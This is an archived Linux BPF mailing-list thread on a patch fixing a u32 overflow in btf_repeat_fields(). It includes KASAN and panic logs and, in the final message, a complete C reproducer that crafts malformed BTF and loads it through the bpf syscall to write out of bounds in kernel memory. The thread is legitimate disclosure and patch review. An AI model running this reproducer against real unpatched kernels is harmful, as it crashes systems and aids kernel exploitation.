* [PATCH bpf] bpf: Validate BTF repeated field counts before expansion
@ 2026-06-05 23:43 Paul Moses
2026-06-07 8:59 ` Kumar Kartikeya Dwivedi
0 siblings, 1 reply; 6+ messages in thread
From: Paul Moses @ 2026-06-05 23:43 UTC (permalink / raw)
To: martin.lau, ast, daniel, andrii, eddyz87, memxor, bpf
Cc: song, yonghong.song, jolsa, houtao1, linux-kernel, Paul Moses,
stable
btf_parse_struct_metas() walks user-supplied BTF during BPF_BTF_LOAD,
and btf_repeat_fields() expands repeatable fields from array elements
into the fixed BTF_FIELDS_MAX scratch array used by btf_parse_fields().
The remaining-capacity check performs the expanded field count calculation
in u32. A malformed BTF can wrap that calculation, causing the check to
pass even when the expanded field count exceeds the scratch array
capacity. The following memcpy() can then write past the end of the
array.
Use checked addition and multiplication before copying repeated fields
and reject impossible counts.
Fixes: 797d73ee232d ("bpf: Check the remaining info_cnt before repeating btf fields")
Cc: stable@vger.kernel.org
Signed-off-by: Paul Moses <p@1g4.org>
---
kernel/bpf/btf.c | 9 ++++-----
1 file changed, 4 insertions(+), 5 deletions(-)
diff --git a/kernel/bpf/btf.c b/kernel/bpf/btf.c
index a62d78581207..510aa32847da 100644
--- a/kernel/bpf/btf.c
+++ b/kernel/bpf/btf.c
@@ -3668,7 +3668,7 @@ static int btf_get_field_type(const struct btf *btf, const struct btf_type *var_
static int btf_repeat_fields(struct btf_field_info *info, int info_cnt,
u32 field_cnt, u32 repeat_cnt, u32 elem_size)
{
- u32 i, j;
+ u32 i, j, total_cnt, total_repeats;
u32 cur;
/* Ensure not repeating fields that should not be repeated. */
@@ -3686,10 +3686,9 @@ static int btf_repeat_fields(struct btf_field_info *info, int info_cnt,
}
}
- /* The type of struct size or variable size is u32,
- * so the multiplication will not overflow.
- */
- if (field_cnt * (repeat_cnt + 1) > info_cnt)
+ if (check_add_overflow(repeat_cnt, 1, &total_repeats) ||
+ check_mul_overflow(field_cnt, total_repeats, &total_cnt) ||
+ total_cnt > (u32)info_cnt)
return -E2BIG;
cur = field_cnt;
--
2.54.0
^ permalink raw reply related [flat|nested] 6+ messages in thread* Re: [PATCH bpf] bpf: Validate BTF repeated field counts before expansion 2026-06-05 23:43 [PATCH bpf] bpf: Validate BTF repeated field counts before expansion Paul Moses @ 2026-06-07 8:59 ` Kumar Kartikeya Dwivedi 2026-06-07 10:11 ` Paul Moses 2026-06-07 16:55 ` Alexei Starovoitov 0 siblings, 2 replies; 6+ messages in thread From: Kumar Kartikeya Dwivedi @ 2026-06-07 8:59 UTC (permalink / raw) To: Paul Moses, martin.lau, ast, daniel, andrii, eddyz87, memxor, bpf Cc: song, yonghong.song, jolsa, houtao1, linux-kernel, stable On Sat Jun 6, 2026 at 1:43 AM CEST, Paul Moses wrote: > btf_parse_struct_metas() walks user-supplied BTF during BPF_BTF_LOAD, > and btf_repeat_fields() expands repeatable fields from array elements > into the fixed BTF_FIELDS_MAX scratch array used by btf_parse_fields(). > > The remaining-capacity check performs the expanded field count calculation > in u32. A malformed BTF can wrap that calculation, causing the check to > pass even when the expanded field count exceeds the scratch array > capacity. The following memcpy() can then write past the end of the > array. > > Use checked addition and multiplication before copying repeated fields > and reject impossible counts. > > Fixes: 797d73ee232d ("bpf: Check the remaining info_cnt before repeating btf fields") > Cc: stable@vger.kernel.org > Signed-off-by: Paul Moses <p@1g4.org> > --- Do you have an example where this actually occurred in practice? > kernel/bpf/btf.c | 9 ++++----- > 1 file changed, 4 insertions(+), 5 deletions(-) > > diff --git a/kernel/bpf/btf.c b/kernel/bpf/btf.c > index a62d78581207..510aa32847da 100644 > --- a/kernel/bpf/btf.c > +++ b/kernel/bpf/btf.c > @@ -3668,7 +3668,7 @@ static int btf_get_field_type(const struct btf *btf, const struct btf_type *var_ > static int btf_repeat_fields(struct btf_field_info *info, int info_cnt, > u32 field_cnt, u32 repeat_cnt, u32 elem_size) > { > - u32 i, j; > + u32 i, j, total_cnt, total_repeats; > u32 cur; > > /* Ensure not repeating fields that should not be repeated. */ > @@ -3686,10 +3686,9 @@ static int btf_repeat_fields(struct btf_field_info *info, int info_cnt, > } > } > > - /* The type of struct size or variable size is u32, > - * so the multiplication will not overflow. > - */ > - if (field_cnt * (repeat_cnt + 1) > info_cnt) > + if (check_add_overflow(repeat_cnt, 1, &total_repeats) || > + check_mul_overflow(field_cnt, total_repeats, &total_cnt) || > + total_cnt > (u32)info_cnt) > return -E2BIG; > > cur = field_cnt; ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH bpf] bpf: Validate BTF repeated field counts before expansion 2026-06-07 8:59 ` Kumar Kartikeya Dwivedi @ 2026-06-07 10:11 ` Paul Moses 2026-06-07 11:08 ` Kumar Kartikeya Dwivedi 2026-06-07 16:55 ` Alexei Starovoitov 1 sibling, 1 reply; 6+ messages in thread From: Paul Moses @ 2026-06-07 10:11 UTC (permalink / raw) To: Kumar Kartikeya Dwivedi Cc: martin.lau, ast, daniel, andrii, eddyz87, bpf, song, yonghong.song, jolsa, houtao1, linux-kernel, stable > > Do you have an example where this actually occurred in practice? > Yes. ================================================================== [ 10.633105] BUG: KASAN: vmalloc-out-of-bounds in btf_repeat_fields+0x194/0x3c0 kernel/bpf/btf.c:3697 [ 10.633833] Write of size 240 at addr ffa000000094ffd8 by task runner/86 [ 10.633998] [ 10.634698] CPU: 1 UID: 0 PID: 86 Comm: runner Not tainted 7.1.0-rc5-g8d9c51eac648 #3 PREEMPT(lazy) [ 10.634859] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 10.635067] Call Trace: [ 10.635143] <TASK> [ 10.635240] __dump_stack+0x21/0x30 [ 10.635389] dump_stack_lvl+0x77/0xa0 [ 10.635457] print_address_description+0x7b/0x200 [ 10.635527] print_report+0x5b/0x70 [ 10.635585] kasan_report+0x134/0x170 [ 10.635633] ? btf_repeat_fields+0x194/0x3c0 kernel/bpf/btf.c:3697 [ 10.635691] kasan_check_range+0x270/0x2d0 [ 10.635735] ? btf_repeat_fields+0x194/0x3c0 kernel/bpf/btf.c:3697 [ 10.635782] __asan_memcpy+0x48/0x80 [ 10.635839] btf_repeat_fields+0x194/0x3c0 kernel/bpf/btf.c:3697 [ 10.635892] btf_find_field_one+0x101c/0x1200 [ 10.635952] btf_parse_fields+0x772/0x24e0 [ 10.636168] </TASK> [ 10.636271] [ 10.637213] [ 10.637291] The buggy address belongs to a vmalloc virtual mapping [ 10.637573] The buggy address belongs to the physical page: [ 10.637951] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x105f0f [ 10.638190] flags: 0x200000000000000(node=0|zone=2) [ 10.638912] raw: 0200000000000000 ffd400000417c3c8 ffd400000417c3c8 0000000000000000 [ 10.639076] raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000 [ 10.639256] page dumped because: kasan: bad access detected [ 10.639361] [ 10.639443] Memory state around the buggy address: [ 10.639664] ffa000000094ff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 10.639818] ffa000000094ff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 10.639963] >ffa0000000950000: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 [ 10.640090] ^ [ 10.640252] ffa0000000950080: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 [ 10.640403] ffa0000000950100: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 [ 10.640556] ================================================================== [ 10.640944] Disabling lock debugging due to kernel taint [ 10.641139] ================================================================== [ 10.641252] BUG: KASAN: vmalloc-out-of-bounds in btf_repeat_fields+0x2dc/0x3c0 kernel/bpf/btf.c:3699 [ 10.641389] Read of size 4 at addr ffa000000095000c by task runner/86 [ 10.641500] [ 10.641716] CPU: 1 UID: 0 PID: 86 Comm: runner Tainted: G B 7.1.0-rc5-g8d9c51eac648 #3 PREEMPT(lazy) [ 10.641833] Tainted: [B]=BAD_PAGE [ 10.641863] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 10.641893] Call Trace: [ 10.641911] <TASK> [ 10.641930] __dump_stack+0x21/0x30 [ 10.642002] dump_stack_lvl+0x77/0xa0 [ 10.642068] print_address_description+0x7b/0x200 [ 10.642135] print_report+0x5b/0x70 [ 10.642196] kasan_report+0x134/0x170 [ 10.642241] ? btf_repeat_fields+0x2dc/0x3c0 kernel/bpf/btf.c:3699 [ 10.642299] __asan_report_load4_noabort+0x18/0x20 [ 10.642356] btf_repeat_fields+0x2dc/0x3c0 kernel/bpf/btf.c:3699 [ 10.642410] btf_find_field_one+0x101c/0x1200 [ 10.642470] btf_parse_fields+0x772/0x24e0 [ 10.642675] </TASK> [ 10.642693] [ 10.643500] The buggy address belongs to a vmalloc virtual mapping [ 10.643639] Memory state around the buggy address: [ 10.643736] ffa000000094ff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 10.643851] ffa000000094ff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 10.643961] >ffa0000000950000: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 [ 10.644064] ^ [ 10.644141] ffa0000000950080: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 [ 10.644251] ffa0000000950100: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 [ 10.644355] ================================================================== [ 10.645473] BUG: unable to handle page fault for address: ffa000000095000c [ 10.645715] #PF: supervisor read access in kernel mode [ 10.645828] #PF: error_code(0x0000) - not-present page [ 10.646124] PGD 100000067 P4D 100229067 PUD 100232067 PMD 104b92067 PTE 0 [ 10.646621] Oops: Oops: 0000 [#1] SMP KASAN NOPTI [ 10.646772] CPU: 1 UID: 0 PID: 86 Comm: runner Tainted: G B 7.1.0-rc5-g8d9c51eac648 #3 PREEMPT(lazy) [ 10.646944] Tainted: [B]=BAD_PAGE [ 10.647016] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 10.647206] RIP: 0010:btf_repeat_fields+0x230/0x3c0 [ 10.647397] Code: 00 00 44 01 3b 41 8d 45 02 89 c0 48 8d 04 40 49 8d 1c c4 48 83 c3 04 48 89 d8 48 c1 e8 03 0f b6 04 10 84 c0 0f 85 94 00 00 00 <44> 01 3b 41 8d 45 03 89 c0 48 8d 04 40 49 8d 1c c4 48 83 c3 04 48 [ 10.647693] RSP: 0018:ffa000000094f8e8 EFLAGS: 00010296 [ 10.647878] RAX: ff11000105f19901 RBX: ffa000000095000c RCX: ff11000105f199c0 [ 10.648021] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffffffff86812e20 [ 10.648161] RBP: ffa000000094f940 R08: ffffffff86812e27 R09: 1ffffffff0d025c4 [ 10.648297] R10: dffffc0000000000 R11: fffffbfff0d025c5 R12: ffa000000094fb28 [ 10.648438] R13: 0000000000000032 R14: 0000000000000004 R15: 0000000000000028 [ 10.648605] FS: 000000000020a2b8(0000) GS:ff110001d3d55000(0000) knlGS:0000000000000000 [ 10.648759] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 10.648879] CR2: ffa000000095000c CR3: 0000000105dc4000 CR4: 0000000000751ef0 [ 10.649050] PKRU: 55555554 [ 10.649197] Call Trace: [ 10.649337] <TASK> [ 10.649419] btf_find_field_one+0x101c/0x1200 [ 10.649549] btf_parse_fields+0x772/0x24e0 [ 10.649819] </TASK> [ 10.649911] Modules linked in: [ 10.650186] CR2: ffa000000095000c [ 10.650727] ---[ end trace 0000000000000000 ]--- [ 10.651049] RIP: 0010:btf_repeat_fields+0x230/0x3c0 [ 10.651179] Code: 00 00 44 01 3b 41 8d 45 02 89 c0 48 8d 04 40 49 8d 1c c4 48 83 c3 04 48 89 d8 48 c1 e8 03 0f b6 04 10 84 c0 0f 85 94 00 00 00 <44> 01 3b 41 8d 45 03 89 c0 48 8d 04 40 49 8d 1c c4 48 83 c3 04 48 [ 10.651376] RSP: 0018:ffa000000094f8e8 EFLAGS: 00010296 [ 10.651493] RAX: ff11000105f19901 RBX: ffa000000095000c RCX: ff11000105f199c0 [ 10.651603] RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffffffff86812e20 [ 10.651712] RBP: ffa000000094f940 R08: ffffffff86812e27 R09: 1ffffffff0d025c4 [ 10.651819] R10: dffffc0000000000 R11: fffffbfff0d025c5 R12: ffa000000094fb28 [ 10.651925] R13: 0000000000000032 R14: 0000000000000004 R15: 0000000000000028 [ 10.652031] FS: 000000000020a2b8(0000) GS:ff110001d3d55000(0000) knlGS:0000000000000000 [ 10.652151] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 10.652253] CR2: ffa000000095000c CR3: 0000000105dc4000 CR4: 0000000000751ef0 [ 10.652363] PKRU: 55555554 [ 10.652644] Kernel panic - not syncing: Fatal exception [ 10.653804] Kernel Offset: disabled [ 10.654081] ---[ end Kernel panic - not syncing: Fatal exception ]--- -------------------------------------------------------------------------------------------------------------------- Also, I still haven't made the connection between the CI failure and my patch. I produced what looks like the tcg variation of the same failure as a oneoff while testing an (functionally) unpatched kernel. I'm not even sure it's the kernel at all and not some weirdness between clang and qemu. Seems low frequency intermittent from what I've seen so far. Any ideas appreciated. [ 0.000000] Linux version 7.1.0-rc5-g8d9c51eac648-dirty (me@localhost) (clang version 22.1.7, LLD 22.1.7) #7 SMP PREEMPT_DYNAMIC Sun Jun 7 07:30:54 UTC 2026 ... [ 0.002022] ================================================================== [ 0.002117] BUG: KASAN: wild-memory-access in do_raw_spin_lock+0xd4/0x270 [ 0.002117] Write of size 4 at addr ff110001001164b8 by task swapper/0/0 [ 0.002117] [ 0.002117] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 7.1.0-rc5-g8d9c51eac648-dirty #7 PREEMPT(full) [ 0.002117] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 0.002117] Call Trace: [ 0.002117] <IRQ> [ 0.002117] __dump_stack+0x21/0x30 [ 0.002117] dump_stack_lvl+0x7a/0xb0 [ 0.002117] print_report+0x4e/0x70 [ 0.002117] kasan_report+0x134/0x170 [ 0.002117] ? do_raw_spin_lock+0xd4/0x270 [ 0.002117] kasan_check_range+0x270/0x2d0 [ 0.002117] __kasan_check_write+0x18/0x20 [ 0.002117] do_raw_spin_lock+0xd4/0x270 [ 0.002117] _raw_spin_lock+0x3f/0x50 [ 0.002117] handle_edge_irq+0x3c/0x870 [ 0.002117] __common_interrupt+0xe0/0x160 [ 0.002117] common_interrupt+0x8a/0xa0 [ 0.002117] </IRQ> [ 0.002117] <TASK> [ 0.002117] asm_common_interrupt+0x2b/0x40 [ 0.002117] RIP: 0010:identify_cpu+0x463/0x3730 [ 0.002117] Code: 48 8b 7d d0 0f 84 f6 00 00 00 41 80 3e 00 74 1a 49 8d bf 80 13 27 86 e8 0b 80 9f 00 48 8b 7d d0 48 be 00 00 00 00 00 fc ff df <49> 8b 9f 80 13 27 86 48 85 db 0f 84 c6 00 00 00 4c 8d 63 08 4c 89 [ 0.002117] RSP: 0000:ffffffff84c07dc8 EFLAGS: 00010246 [ 0.002117] RAX: ffffffff85a2cdd0 RBX: 0000000000000040 RCX: 0000000000000000 [ 0.002117] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff85a2ccb8 [ 0.002117] RBP: ffffffff84c07ea8 R08: 0000000000000004 R09: 0000000000000004 [ 0.002117] R10: ffffffff85a2ccc4 R11: fffffbfff0b4599b R12: 0000000000000006 [ 0.002117] R13: ffffffff85a2cdf8 R14: fffffbfff0c4e270 R15: 0000000000000000 [ 0.002117] ? identify_cpu+0x398/0x3730 [ 0.002117] identify_boot_cpu+0x11/0xe0 [ 0.002117] arch_cpu_finalize_init+0x28/0x1f0 [ 0.002117] start_kernel+0x323/0x3e0 [ 0.002117] x86_64_start_reservations+0x28/0x30 [ 0.002117] x86_64_start_kernel+0x105/0x110 [ 0.002117] common_startup_64+0x12c/0x137 [ 0.002117] </TASK> [ 0.002117] ================================================================== ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH bpf] bpf: Validate BTF repeated field counts before expansion 2026-06-07 10:11 ` Paul Moses @ 2026-06-07 11:08 ` Kumar Kartikeya Dwivedi 2026-06-07 17:53 ` Paul Moses 0 siblings, 1 reply; 6+ messages in thread From: Kumar Kartikeya Dwivedi @ 2026-06-07 11:08 UTC (permalink / raw) To: Paul Moses, Kumar Kartikeya Dwivedi Cc: martin.lau, ast, daniel, andrii, eddyz87, bpf, song, yonghong.song, jolsa, houtao1, linux-kernel, stable On Sun Jun 7, 2026 at 12:11 PM CEST, Paul Moses wrote: >> >> Do you have an example where this actually occurred in practice? >> > > Yes. > Right, I know you can get a splat. But how did you stumble on it? Is this BTF produced during compilation, or hand-crafted case meant to exercise the limits such that we get the splat? If you have a small reproducer, it might make sense to include it as a selftest as well. > [...] > > Also, I still haven't made the connection between the CI failure and > my patch. I produced what looks like the tcg variation of the same > failure as a oneoff while testing an (functionally) unpatched kernel. > I'm not even sure it's the kernel at all and not some weirdness > between clang and qemu. Seems low frequency intermittent from what > I've seen so far. Any ideas appreciated. > It is unrelated. ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH bpf] bpf: Validate BTF repeated field counts before expansion 2026-06-07 11:08 ` Kumar Kartikeya Dwivedi @ 2026-06-07 17:53 ` Paul Moses 0 siblings, 0 replies; 6+ messages in thread From: Paul Moses @ 2026-06-07 17:53 UTC (permalink / raw) To: Kumar Kartikeya Dwivedi Cc: martin.lau, ast, daniel, andrii, eddyz87, bpf, song, yonghong.song, jolsa, houtao1, linux-kernel, stable > > Right, I know you can get a splat. But how did you stumble on it? Is this BTF > produced during compilation, or hand-crafted case meant to exercise the limits > such that we get the splat? If you have a small reproducer, it might make sense > to include it as a selftest as well. Yes, it could be converted to a test, it's intended to produce the splat. I'll work on that. > > The callers of this function do: > if (nelems > 1) { > err = btf_repeat_fields(info, info_cnt, ret, nelems - 1, t->size); > > so repeat_cnt cannot overflow. > > 'ret' (which is field_cnt) comes from btf_find_struct_field(). > To overflow the struct needs to have 32k valid fields. > Is this really what is happening? > > The issues is deeper. Please have a reliable reproducer first. > > The repro is 100% reliable, the array repeat count is derived from nelems - 1, so repeat_cnt + 1 recovers nelems. The overflow is in the u32 multiplication of the number of fields by the number of array elements. A small field count can still wrap when multiplied by a large array element count. 10 * 429496730 wraps from 0x100000004 to 4, allowing the capacity check to pass before btf_repeat_fields() copies past the fixed scratch array. #define _GNU_SOURCE #include <errno.h> #include <linux/bpf.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <sys/syscall.h> #include <unistd.h> #ifndef __NR_bpf #error "__NR_bpf is required for this probe" #endif #define LOCAL_BTF_MAGIC 0xeb9fU #define LOCAL_BTF_VERSION 1U #define LOCAL_BTF_KIND_INT 1U #define LOCAL_BTF_KIND_PTR 2U #define LOCAL_BTF_KIND_ARRAY 3U #define LOCAL_BTF_KIND_STRUCT 4U #define LOCAL_BTF_KIND_TYPE_TAG 18U #define LOCAL_BTF_INFO(kind, vlen) (((kind) << 24) | (vlen)) #define LOCAL_BTF_INT_BITS(bits) (bits) #define TYPE_ID_INT 1U #define TYPE_ID_TARGET 2U #define TYPE_ID_KPTR_TAG 3U #define TYPE_ID_KPTR_PTR 4U #define TYPE_ID_SPIN_LOCK 5U #define TYPE_ID_OUTER 6U #define TYPE_ID_ARRAY 7U #define TYPE_ID_ELEM 8U #define ELEM_FIELD_COUNT 10U #define ELEM_SIZE 8U #define OUTER_ARRAY_OFFSET_BYTES 8U #define OUTER_ARRAY_NELEMS 429496730U #define OUTER_VALUE_SIZE (OUTER_ARRAY_OFFSET_BYTES + (ELEM_SIZE * OUTER_ARRAY_NELEMS)) struct local_btf_header { uint16_t magic; uint8_t version; uint8_t flags; uint32_t hdr_len; uint32_t type_off; uint32_t type_len; uint32_t str_off; uint32_t str_len; uint32_t layout_off; uint32_t layout_len; }; struct local_btf_type { uint32_t name_off; uint32_t info; uint32_t size_or_type; }; struct local_btf_member { uint32_t name_off; uint32_t type; uint32_t offset; }; struct local_btf_array { uint32_t type; uint32_t index_type; uint32_t nelems; }; struct bytes { uint8_t *data; size_t len; size_t cap; }; static int append_bytes(struct bytes *out, const void *src, size_t len) { if (len > out->cap || out->len > out->cap - len) return -1; memcpy(out->data + out->len, src, len); out->len += len; return 0; } static int append_type(struct bytes *out, uint32_t name_off, uint32_t kind, uint32_t vlen, uint32_t size_or_type) { struct local_btf_type type = { .name_off = name_off, .info = LOCAL_BTF_INFO(kind, vlen), .size_or_type = size_or_type, }; return append_bytes(out, &type, sizeof(type)); } static int append_u32(struct bytes *out, uint32_t value) { return append_bytes(out, &value, sizeof(value)); } static int append_member(struct bytes *out, uint32_t name_off, uint32_t type, uint32_t bit_offset) { struct local_btf_member member = { .name_off = name_off, .type = type, .offset = bit_offset, }; return append_bytes(out, &member, sizeof(member)); } static int append_array(struct bytes *out, uint32_t type, uint32_t index_type, uint32_t nelems) { struct local_btf_array array = { .type = type, .index_type = index_type, .nelems = nelems, }; return append_bytes(out, &array, sizeof(array)); } static uint32_t add_string(struct bytes *strings, const char *value) { uint32_t offset = (uint32_t)strings->len; size_t len = strlen(value) + 1U; if (append_bytes(strings, value, len) < 0) return UINT32_MAX; return offset; } static int build_btf_blob(uint8_t *blob, size_t blob_cap, size_t *blob_len) { uint8_t type_buf[1024]; uint8_t str_buf[512] = { 0 }; struct bytes types = { .data = type_buf, .len = 0, .cap = sizeof(type_buf) }; struct bytes strings = { .data = str_buf, .len = 1, .cap = sizeof(str_buf) }; uint32_t str_int = add_string(&strings, "int"); uint32_t str_target = add_string(&strings, "target"); uint32_t str_kptr = add_string(&strings, "kptr_untrusted"); uint32_t str_spin = add_string(&strings, "bpf_spin_lock"); uint32_t str_outer = add_string(&strings, "outer"); uint32_t str_lock = add_string(&strings, "lock"); uint32_t str_items = add_string(&strings, "items"); uint32_t str_elem = add_string(&strings, "elem"); uint32_t str_fields[ELEM_FIELD_COUNT]; struct local_btf_header header; struct bytes full = { .data = blob, .len = 0, .cap = blob_cap }; uint32_t i; for (i = 0; i < ELEM_FIELD_COUNT; i++) { char name[8]; snprintf(name, sizeof(name), "f%u", i); str_fields[i] = add_string(&strings, name); } if (str_int == UINT32_MAX || str_target == UINT32_MAX || str_kptr == UINT32_MAX || str_spin == UINT32_MAX || str_outer == UINT32_MAX || str_lock == UINT32_MAX || str_items == UINT32_MAX || str_elem == UINT32_MAX) return -1; for (i = 0; i < ELEM_FIELD_COUNT; i++) { if (str_fields[i] == UINT32_MAX) return -1; } if (append_type(&types, str_int, LOCAL_BTF_KIND_INT, 0, 4) < 0 || append_u32(&types, LOCAL_BTF_INT_BITS(32)) < 0 || append_type(&types, str_target, LOCAL_BTF_KIND_STRUCT, 0, 1) < 0 || append_type(&types, str_kptr, LOCAL_BTF_KIND_TYPE_TAG, 0, TYPE_ID_TARGET) < 0 || append_type(&types, 0, LOCAL_BTF_KIND_PTR, 0, TYPE_ID_KPTR_TAG) < 0 || append_type(&types, str_spin, LOCAL_BTF_KIND_STRUCT, 0, 4) < 0 || append_type(&types, str_outer, LOCAL_BTF_KIND_STRUCT, 2, OUTER_VALUE_SIZE) < 0 || append_member(&types, str_lock, TYPE_ID_SPIN_LOCK, 0) < 0 || append_member(&types, str_items, TYPE_ID_ARRAY, OUTER_ARRAY_OFFSET_BYTES * 8U) < 0 || append_type(&types, 0, LOCAL_BTF_KIND_ARRAY, 0, 0) < 0 || append_array(&types, TYPE_ID_ELEM, TYPE_ID_INT, OUTER_ARRAY_NELEMS) < 0 || append_type(&types, str_elem, LOCAL_BTF_KIND_STRUCT, ELEM_FIELD_COUNT, ELEM_SIZE) < 0) return -1; for (i = 0; i < ELEM_FIELD_COUNT; i++) { if (append_member(&types, str_fields[i], TYPE_ID_KPTR_PTR, 0) < 0) return -1; } memset(&header, 0, sizeof(header)); header.magic = LOCAL_BTF_MAGIC; header.version = LOCAL_BTF_VERSION; header.hdr_len = sizeof(header); header.type_off = 0; header.type_len = (uint32_t)types.len; header.str_off = (uint32_t)types.len; header.str_len = (uint32_t)strings.len; if (append_bytes(&full, &header, sizeof(header)) < 0 || append_bytes(&full, types.data, types.len) < 0 || append_bytes(&full, strings.data, strings.len) < 0) return -1; *blob_len = full.len; return 0; } static long load_reviewed_btf_variant(void) { uint8_t blob[4096]; char log_buf[4096]; union bpf_attr attr; size_t blob_len = 0; memset(log_buf, 0, sizeof(log_buf)); memset(&attr, 0, sizeof(attr)); if (build_btf_blob(blob, sizeof(blob), &blob_len) < 0) return -2; attr.btf = (uint64_t)(uintptr_t)blob; attr.btf_size = (uint32_t)blob_len; attr.btf_log_buf = (uint64_t)(uintptr_t)log_buf; attr.btf_log_size = sizeof(log_buf); attr.btf_log_level = 1; printf("btf_invalid_variant: submitting reviewed BTF payload size=%zu nelems=%u\n", blob_len, OUTER_ARRAY_NELEMS); errno = 0; return syscall(__NR_bpf, BPF_BTF_LOAD, &attr, sizeof(attr)); } int main(void) { long ret = load_reviewed_btf_variant(); int saved_errno = errno; if (ret == -2) { printf("btf_invalid_variant: failed to build bounded BTF payload\n"); return 1; } printf("btf_invalid_variant: BPF_BTF_LOAD ret=%ld errno=%d (%s)\n", ret, saved_errno, strerror(saved_errno)); printf("btf_invalid_variant: bounded invalid-access attempt complete\n"); return 0; } ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH bpf] bpf: Validate BTF repeated field counts before expansion 2026-06-07 8:59 ` Kumar Kartikeya Dwivedi 2026-06-07 10:11 ` Paul Moses @ 2026-06-07 16:55 ` Alexei Starovoitov 1 sibling, 0 replies; 6+ messages in thread From: Alexei Starovoitov @ 2026-06-07 16:55 UTC (permalink / raw) To: Kumar Kartikeya Dwivedi, Paul Moses, martin.lau, ast, daniel, andrii, eddyz87, bpf Cc: song, yonghong.song, jolsa, houtao1, linux-kernel, stable On Sun Jun 7, 2026 at 1:59 AM PDT, Kumar Kartikeya Dwivedi wrote: > On Sat Jun 6, 2026 at 1:43 AM CEST, Paul Moses wrote: >> btf_parse_struct_metas() walks user-supplied BTF during BPF_BTF_LOAD, >> and btf_repeat_fields() expands repeatable fields from array elements >> into the fixed BTF_FIELDS_MAX scratch array used by btf_parse_fields(). >> >> The remaining-capacity check performs the expanded field count calculation >> in u32. A malformed BTF can wrap that calculation, causing the check to >> pass even when the expanded field count exceeds the scratch array >> capacity. The following memcpy() can then write past the end of the >> array. >> >> Use checked addition and multiplication before copying repeated fields >> and reject impossible counts. >> >> Fixes: 797d73ee232d ("bpf: Check the remaining info_cnt before repeating btf fields") >> Cc: stable@vger.kernel.org >> Signed-off-by: Paul Moses <p@1g4.org> >> --- > > Do you have an example where this actually occurred in practice? > >> kernel/bpf/btf.c | 9 ++++----- >> 1 file changed, 4 insertions(+), 5 deletions(-) >> >> diff --git a/kernel/bpf/btf.c b/kernel/bpf/btf.c >> index a62d78581207..510aa32847da 100644 >> --- a/kernel/bpf/btf.c >> +++ b/kernel/bpf/btf.c >> @@ -3668,7 +3668,7 @@ static int btf_get_field_type(const struct btf *btf, const struct btf_type *var_ >> static int btf_repeat_fields(struct btf_field_info *info, int info_cnt, >> u32 field_cnt, u32 repeat_cnt, u32 elem_size) >> { >> - u32 i, j; >> + u32 i, j, total_cnt, total_repeats; >> u32 cur; >> >> /* Ensure not repeating fields that should not be repeated. */ >> @@ -3686,10 +3686,9 @@ static int btf_repeat_fields(struct btf_field_info *info, int info_cnt, >> } >> } >> >> - /* The type of struct size or variable size is u32, >> - * so the multiplication will not overflow. >> - */ >> - if (field_cnt * (repeat_cnt + 1) > info_cnt) >> + if (check_add_overflow(repeat_cnt, 1, &total_repeats) || >> + check_mul_overflow(field_cnt, total_repeats, &total_cnt) || >> + total_cnt > (u32)info_cnt) >> return -E2BIG; The callers of this function do: if (nelems > 1) { err = btf_repeat_fields(info, info_cnt, ret, nelems - 1, t->size); so repeat_cnt cannot overflow. 'ret' (which is field_cnt) comes from btf_find_struct_field(). To overflow the struct needs to have 32k valid fields. Is this really what is happening? The issues is deeper. Please have a reliable reproducer first. ^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-06-07 17:53 UTC | newest] Thread overview: 6+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-06-05 23:43 [PATCH bpf] bpf: Validate BTF repeated field counts before expansion Paul Moses 2026-06-07 8:59 ` Kumar Kartikeya Dwivedi 2026-06-07 10:11 ` Paul Moses 2026-06-07 11:08 ` Kumar Kartikeya Dwivedi 2026-06-07 17:53 ` Paul Moses 2026-06-07 16:55 ` Alexei Starovoitov
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox